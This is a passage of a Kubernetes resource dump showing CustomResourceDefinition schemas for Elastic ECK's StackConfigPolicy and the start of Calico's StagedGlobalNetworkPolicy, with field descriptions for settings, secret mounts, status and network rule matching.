secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array","x-kubernetes-preserve-unknown-fields":true}},"type":"object"},"resourceSelector":{"description":"A label selector is a label query over a set of resources. The result of matchLabels and\nmatchExpressions are ANDed. An empty label selector matches all objects. A null\nlabel selector matches no objects.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"secureSettings":{"description":"Deprecated: SecureSettings only applies to Elasticsearch and is deprecated. It must be set per application instead.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array"}},"type":"object"},"status":{"properties":{"details":{"additionalProperties":{"additionalProperties":{"description":"ResourcePolicyStatus models the status of the policy for one resource to be configured.","properties":{"currentVersion":{"description":"CurrentVersion denotes the current version of filesettings applied to the Elasticsearch cluster\nThis field does not apply to Kibana resources","format":"int64","type":"integer"},"error":{"properties":{"message":{"type":"string"},"version":{"format":"int64","type":"integer"}},"type":"object"},"expectedVersion":{"description":"ExpectedVersion denotes the expected version of filesettings that should be applied to the Elasticsearch cluster\nThis field does not apply to Kibana resources","format":"int64","type":"integer"},"phase":{"type":"string"}},"type":"object"},"type":"object"},"description":"Details holds the status details for each resource to be configured.","type":"object"},"errors":{"description":"Errors is the number of resources which have an incorrect configuration","type":"integer"},"observedGeneration":{"description":"ObservedGeneration is the most recent generation observed for this StackConfigPolicy.","format":"int64","type":"integer"},"phase":{"description":"Phase is the phase of the StackConfigPolicy.","type":"string"},"ready":{"description":"Ready is the number of resources successfully configured.","type":"integer"},"readyCount":{"description":"ReadyCount is a human representation of the number of resources successfully configured.","type":"string"},"resources":{"description":"Resources is the number of resources to be configured.","type":"integer"},"resourcesStatuses":{"additionalProperties":{"description":"ResourcePolicyStatus models the status of the policy for one resource to be configured.","properties":{"currentVersion":{"description":"CurrentVersion denotes the current version of filesettings applied to the Elasticsearch cluster\nThis field does not apply to Kibana resources","format":"int64","type":"integer"},"error":{"properties":{"message":{"type":"string"},"version":{"format":"int64","type":"integer"}},"type":"object"},"expectedVersion":{"description":"ExpectedVersion denotes the expected version of filesettings that should be applied to the Elasticsearch cluster\nThis field does not apply to Kibana resources","format":"int64","type":"integer"},"phase":{"type":"string"}},"type":"object"},"description":"ResourcesStatuses holds the status for each resource to be configured.\nDeprecated: Details is used to store the status of resources from ECK 2.11","type":"object"}},"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"status":{}}}]}}
    creationTimestamp: "2025-09-23T11:56:05Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: stackconfigpolicies.stackconfigpolicy.k8s.elastic.co
    resourceVersion: "432383"
    uid: 831df5f8-ed3b-4160-bab9-b3a68ebbc00b
  spec:
    conversion:
      strategy: None
    group: stackconfigpolicy.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: StackConfigPolicy
      listKind: StackConfigPolicyList
      plural: stackconfigpolicies
      shortNames:
      - scp
      singular: stackconfigpolicy
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - description: Resources configured
        jsonPath: .status.readyCount
        name: Ready
        type: string
      - jsonPath: .status.phase
        name: Phase
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: StackConfigPolicy represents a StackConfigPolicy resource in
            a Kubernetes cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                elasticsearch:
                  properties:
                    clusterSettings:
                      description: ClusterSettings holds the Elasticsearch cluster
                        settings (/_cluster/settings)
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    config:
                      description: Config holds the settings that go into elasticsearch.yml.
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    indexLifecyclePolicies:
                      description: IndexLifecyclePolicies holds the Index Lifecycle
                        policies settings (/_ilm/policy)
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    indexTemplates:
                      description: IndexTemplates holds the Index and Component Templates
                        settings
                      properties:
                        componentTemplates:
                          description: ComponentTemplates holds the Component Templates
                            settings (/_component_template)
                          type: object
                          x-kubernetes-preserve-unknown-fields: true
                        composableIndexTemplates:
                          description: ComposableIndexTemplates holds the Index Templates
                            settings (/_index_template)
                          type: object
                          x-kubernetes-preserve-unknown-fields: true
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    ingestPipelines:
                      description: IngestPipelines holds the Ingest Pipelines settings
                        (/_ingest/pipeline)
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    secretMounts:
                      description: SecretMounts are additional Secrets that need to
                        be mounted into the Elasticsearch pods.
                      items:
                        description: SecretMount contains information about additional
                          secrets to be mounted to the elasticsearch pods
                        properties:
                          mountPath:
                            description: MountPath denotes the path to which the secret
                              should be mounted to inside the elasticsearch pod
                            type: string
                          secretName:
                            description: SecretName denotes the name of the secret
                              that needs to be mounted to the elasticsearch pod
                            type: string
                        type: object
                      type: array
                      x-kubernetes-preserve-unknown-fields: true
                    secureSettings:
                      description: SecureSettings are additional Secrets that contain
                        data to be configured to Elasticsearch's keystore.
                      items:
                        description: SecretSource defines a data source based on a
                          Kubernetes Secret.
                        properties:
                          entries:
                            description: |-
                              Entries define how to project each key-value pair in the secret to filesystem paths.
                              If not defined, all keys will be projected to similarly named paths in the filesystem.
                              If defined, only the specified keys will be projected to the corresponding paths.
                            items:
                              description: KeyToPath defines how to map a key in a
                                Secret object to a filesystem path.
                              properties:
                                key:
                                  description: Key is the key contained in the secret.
                                  type: string
                                path:
                                  description: |-
                                    Path is the relative file path to map the key to.
                                    Path must not be an absolute file path and must not contain any ".." components.
                                  type: string
                              required:
                              - key
                              type: object
                            type: array
                          secretName:
                            description: SecretName is the name of the secret.
                            type: string
                        required:
                        - secretName
                        type: object
                      type: array
                      x-kubernetes-preserve-unknown-fields: true
                    securityRoleMappings:
                      description: SecurityRoleMappings holds the Role Mappings settings
                        (/_security/role_mapping)
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    snapshotLifecyclePolicies:
                      description: SnapshotLifecyclePolicies holds the Snapshot Lifecycle
                        Policies settings (/_slm/policy)
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    snapshotRepositories:
                      description: SnapshotRepositories holds the Snapshot Repositories
                        settings (/_snapshot)
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                  type: object
                kibana:
                  properties:
                    config:
                      description: Config holds the settings that go into kibana.yml.
                      type: object
                      x-kubernetes-preserve-unknown-fields: true
                    secureSettings:
                      description: SecureSettings are additional Secrets that contain
                        data to be configured to Kibana's keystore.
                      items:
                        description: SecretSource defines a data source based on a
                          Kubernetes Secret.
                        properties:
                          entries:
                            description: |-
                              Entries define how to project each key-value pair in the secret to filesystem paths.
                              If not defined, all keys will be projected to similarly named paths in the filesystem.
                              If defined, only the specified keys will be projected to the corresponding paths.
                            items:
                              description: KeyToPath defines how to map a key in a
                                Secret object to a filesystem path.
                              properties:
                                key:
                                  description: Key is the key contained in the secret.
                                  type: string
                                path:
                                  description: |-
                                    Path is the relative file path to map the key to.
                                    Path must not be an absolute file path and must not contain any ".." components.
                                  type: string
                              required:
                              - key
                              type: object
                            type: array
                          secretName:
                            description: SecretName is the name of the secret.
                            type: string
                        required:
                        - secretName
                        type: object
                      type: array
                      x-kubernetes-preserve-unknown-fields: true
                  type: object
                resourceSelector:
                  description: |-
                    A label selector is a label query over a set of resources. The result of matchLabels and
                    matchExpressions are ANDed. An empty label selector matches all objects. A null
                    label selector matches no objects.
                  properties:
                    matchExpressions:
                      description: matchExpressions is a list of label selector requirements.
                        The requirements are ANDed.
                      items:
                        description: |-
                          A label selector requirement is a selector that contains values, a key, and an operator that
                          relates the key and values.
                        properties:
                          key:
                            description: key is the label key that the selector applies
                              to.
                            type: string
                          operator:
                            description: |-
                              operator represents a key's relationship to a set of values.
                              Valid operators are In, NotIn, Exists and DoesNotExist.
                            type: string
                          values:
                            description: |-
                              values is an array of string values. If the operator is In or NotIn,
                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                              the values array must be empty. This array is replaced during a strategic
                              merge patch.
                            items:
                              type: string
                            type: array
                            x-kubernetes-list-type: atomic
                        required:
                        - key
                        - operator
                        type: object
                      type: array
                      x-kubernetes-list-type: atomic
                    matchLabels:
                      additionalProperties:
                        type: string
                      description: |-
                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                      type: object
                  type: object
                  x-kubernetes-map-type: atomic
                secureSettings:
                  description: 'Deprecated: SecureSettings only applies to Elasticsearch
                    and is deprecated. It must be set per application instead.'
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
              type: object
            status:
              properties:
                details:
                  additionalProperties:
                    additionalProperties:
                      description: ResourcePolicyStatus models the status of the policy
                        for one resource to be configured.
                      properties:
                        currentVersion:
                          description: |-
                            CurrentVersion denotes the current version of filesettings applied to the Elasticsearch cluster
                            This field does not apply to Kibana resources
                          format: int64
                          type: integer
                        error:
                          properties:
                            message:
                              type: string
                            version:
                              format: int64
                              type: integer
                          type: object
                        expectedVersion:
                          description: |-
                            ExpectedVersion denotes the expected version of filesettings that should be applied to the Elasticsearch cluster
                            This field does not apply to Kibana resources
                          format: int64
                          type: integer
                        phase:
                          type: string
                      type: object
                    type: object
                  description: Details holds the status details for each resource
                    to be configured.
                  type: object
                errors:
                  description: Errors is the number of resources which have an incorrect
                    configuration
                  type: integer
                observedGeneration:
                  description: ObservedGeneration is the most recent generation observed
                    for this StackConfigPolicy.
                  format: int64
                  type: integer
                phase:
                  description: Phase is the phase of the StackConfigPolicy.
                  type: string
                ready:
                  description: Ready is the number of resources successfully configured.
                  type: integer
                readyCount:
                  description: ReadyCount is a human representation of the number
                    of resources successfully configured.
                  type: string
                resources:
                  description: Resources is the number of resources to be configured.
                  type: integer
                resourcesStatuses:
                  additionalProperties:
                    description: ResourcePolicyStatus models the status of the policy
                      for one resource to be configured.
                    properties:
                      currentVersion:
                        description: |-
                          CurrentVersion denotes the current version of filesettings applied to the Elasticsearch cluster
                          This field does not apply to Kibana resources
                        format: int64
                        type: integer
                      error:
                        properties:
                          message:
                            type: string
                          version:
                            format: int64
                            type: integer
                        type: object
                      expectedVersion:
                        description: |-
                          ExpectedVersion denotes the expected version of filesettings that should be applied to the Elasticsearch cluster
                          This field does not apply to Kibana resources
                        format: int64
                        type: integer
                      phase:
                        type: string
                    type: object
                  description: |-
                    ResourcesStatuses holds the status for each resource to be configured.
                    Deprecated: Details is used to store the status of resources from ECK 2.11
                  type: object
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - elastic
      kind: StackConfigPolicy
      listKind: StackConfigPolicyList
      plural: stackconfigpolicies
      shortNames:
      - scp
      singular: stackconfigpolicy
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:05Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:56:05Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"stagedglobalnetworkpolicies.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"StagedGlobalNetworkPolicy","listKind":"StagedGlobalNetworkPolicyList","plural":"stagedglobalnetworkpolicies","singular":"stagedglobalnetworkpolicy"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"properties":{"applyOnForward":{"description":"ApplyOnForward indicates to apply the rules in this policy on forward traffic.","type":"boolean"},"doNotTrack":{"description":"DoNotTrack indicates whether packets matched by the rules in this policy should go through\nthe data plane's connection tracking, such as Linux conntrack.  If True, the rules in\nthis policy are applied before any data plane connection tracking, and packets allowed by\nthis policy are marked as not to be tracked.","type":"boolean"},"egress":{"description":"The ordered set of egress rules.  Each rule contains a set of packet match criteria and\na corresponding action to apply.","items":{"description":"A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy\nand security Profiles reference rules - separated out as a list of rules for both\ningress and egress packet matching.\n\nEach positive match criteria has a negated version, prefixed with \"Not\". All the match\ncriteria within a rule must be satisfied for a packet to match. A single rule can contain\nthe positive and negative version of a match and both must be satisfied for the rule to match.","properties":{"action":{"type":"string"},"destination":{"description":"Destination contains the match criteria that apply to destination entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"},"http":{"description":"HTTP contains match criteria that apply to HTTP requests.","properties":{"methods":{"description":"Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed\nHTTP Methods (e.g. GET, PUT, etc.)\nMultiple methods are OR'd together.","items":{"type":"string"},"type":"array"},"paths":{"description":"Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed\nHTTP Paths.\nMultiple paths are OR'd together.\ne.g:\n- exact: /foo\n- prefix: /bar\nNOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.","items":{"description":"HTTPPath specifies an HTTP path to match. It may be either of the form:\nexact: \u003cpath\u003e: which matches the path exactly or\nprefix: \u003cpath-prefix\u003e: which matches the path prefix","properties":{"exact":{"type":"string"},"prefix":{"type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"icmp":{"description":"ICMP is an optional field that restricts the rule to apply to a specific type and\ncode of ICMP traffic.  This should only be specified if the Protocol field is set to\n\"ICMP\" or \"ICMPv6\".","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"ipVersion":{"description":"IPVersion is an optional field that restricts the rule to only match a specific IP\nversion.","type":"integer"},"metadata":{"description":"Metadata contains additional information for this rule","properties":{"annotations":{"additionalProperties":{"type":"string"},"description":"Annotations is a set of key value pairs that give extra information about the rule","type":"object"}},"type":"object"},"notICMP":{"description":"NotICMP is the negated version of the ICMP field.","properties":{"code":{"description":"Match on a specific ICMP code.  If specified, the Type value must also be specified.\nThis is a technical limitation imposed by the kernel's iptables firewall, which\nCalico uses to enforce the rule.","type":"integer"},"type":{"description":"Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request\n(i.e. pings).","type":"integer"}},"type":"object"},"notProtocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NotProtocol is the negated version of the Protocol field.","pattern":"^.*","x-kubernetes-int-or-string":true},"protocol":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Protocol is an optional field that restricts the rule to only apply to traffic of\na specific IP protocol. Required if any of the EntityRules contain Ports\n(because ports only apply to certain protocols).\n\nMust be one of these string values: \"TCP\", \"UDP\", \"ICMP\", \"ICMPv6\", \"SCTP\", \"UDPLite\"\nor an integer in the range 1-255.","pattern":"^.*","x-kubernetes-int-or-string":true},"source":{"description":"Source contains the match criteria that apply to source entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"}},"required":["action"],"type":"object"},"type":"array"},"ingress":{"description":"The ordered set of ingress rules.  Each rule contains a set of packet match criteria and\na corresponding action to apply.","items":{"description":"A Rule encapsulates a set of match criteria and an action.  Both selector-based security Policy\nand security Profiles reference rules - separated out as a list of rules for both\ningress and egress packet matching.\n\nEach positive match criteria has a negated version, prefixed with \"Not\". All the match\ncriteria within a rule must be satisfied for a packet to match. A single rule can contain\nthe positive and negative version of a match and both must be satisfied for the rule to match.","properties":{"action":{"type":"string"},"destination":{"description":"Destination contains the match criteria that apply to destination entity.","properties":{"namespaceSelector":{"description":"NamespaceSelector is an optional field that contains a selector expression. Only traffic\nthat originates from (or terminates at) endpoints within the selected namespaces will be\nmatched. When both NamespaceSelector and another selector are defined on the same rule, then only\nworkload endpoints that are matched by both selectors will be selected by the rule.\n\nFor NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting\nonly workload endpoints in the same namespace as the NetworkPolicy.\n\nFor NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting\nonly GlobalNetworkSet or HostEndpoint.\n\nFor GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload\nendpoints across all namespaces.","type":"string"},"nets":{"description":"Nets is an optional field that restricts the rule to only apply to traffic that\noriginates from (or terminates at) IP addresses in any of the given subnets.","items":{"type":"string"},"type":"array"},"notNets":{"description":"NotNets is the negated version of the Nets field.","items":{"type":"string"},"type":"array"},"notPorts":{"description":"NotPorts is the negated version of the Ports field.\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"notSelector":{"description":"NotSelector is the negated version of the Selector field.  See Selector field for\nsubtleties with negated selectors.","type":"string"},"ports":{"description":"Ports is an optional field that restricts the rule to only apply to traffic that has a\nsource (destination) port that matches one of these ranges/values. This value is a\nlist of integers or strings that represent ranges of ports.\n\nSince only some protocols have ports, if any ports are specified it requires the\nProtocol match in the Rule to be set to \"TCP\" or \"UDP\".","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"selector":{"description":"Selector is an optional field that contains a selector expression (see Policy for\nsample syntax).  Only traffic that originates from (terminates at) endpoints matching\nthe selector will be matched.\n\nNote that: in addition to the negated version of the Selector (see NotSelector below), the\nselector expression syntax itself supports negation.  The two types of negation are subtly\ndifferent. One negates the set of matched endpoints, the other negates the whole match:\n\n\tSelector = \"!has(my_label)\" matches packets that are from other Calico-controlled\n\tendpoints that do not have the label \"my_label\".\n\n\tNotSelector = \"has(my_label)\" matches packets that are not from Calico-controlled\n\tendpoints that do have the label \"my_label\".\n\nThe effect is that the latter will accept packets from non-Calico sources whereas the\nformer is limited to packets from Calico-controlled endpoints.","type":"string"},"serviceAccounts":{"description":"ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or\nterminates at) a pod running as a matching service account.","properties":{"names":{"description":"Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates\nat) a pod running as a service account whose name is in the list.","items":{"type":"string"},"type":"array"},"selector":{"description":"Selector is an optional field that restricts the rule to only apply to traffic that originates from\n(or terminates at) a pod running as a service account that matches the given label selector.\nIf both Names and Selector are specified then they are AND'ed.","type":"string"}},"type":"object"},"services":{"description":"Services is an optional field that contains options for matching Kubernetes Services.\nIf specified, only traffic that originates from or terminates at endpoints within the selected\nservice(s) will be matched, and only to/from each endpoint's port.\n\nServices cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,\nNotNets or ServiceAccounts.\n\nPorts and NotPorts can only be specified with Services on ingress rules.","properties":{"name":{"description":"Name specifies the name of a Kubernetes Service to match.","type":"string"},"namespace":{"description":"Namespace specifies the namespace of the given Service. If left empty, the rule\nwill match within this policy's namespace.","type":"string"}},"type":"object"}},"type":"object"},"http":{"description":"HTTP contains match criteria that apply to HTTP requests.","properties":{"methods":{"description":"Methods is an optional field that restricts the rule to apply only to HTTP requests that use one of the listed\nHTTP Methods (e.g. GET, PUT, etc.)\nMultiple methods are OR'd together.","items":{"type":"string"},"type":"array"},"paths":{"description":"Paths is an optional field that restricts the rule to apply to HTTP requests that use one of the listed\nHTTP Paths.\nMultiple paths are OR'd together.\ne.g:\n- exact: /foo\n- prefix: /bar\nNOTE: Each entry may ONLY specify either a `exact` or a `prefix` match. The validator will check for it.","items":{"description":"HTTPPath specifies an HTTP path 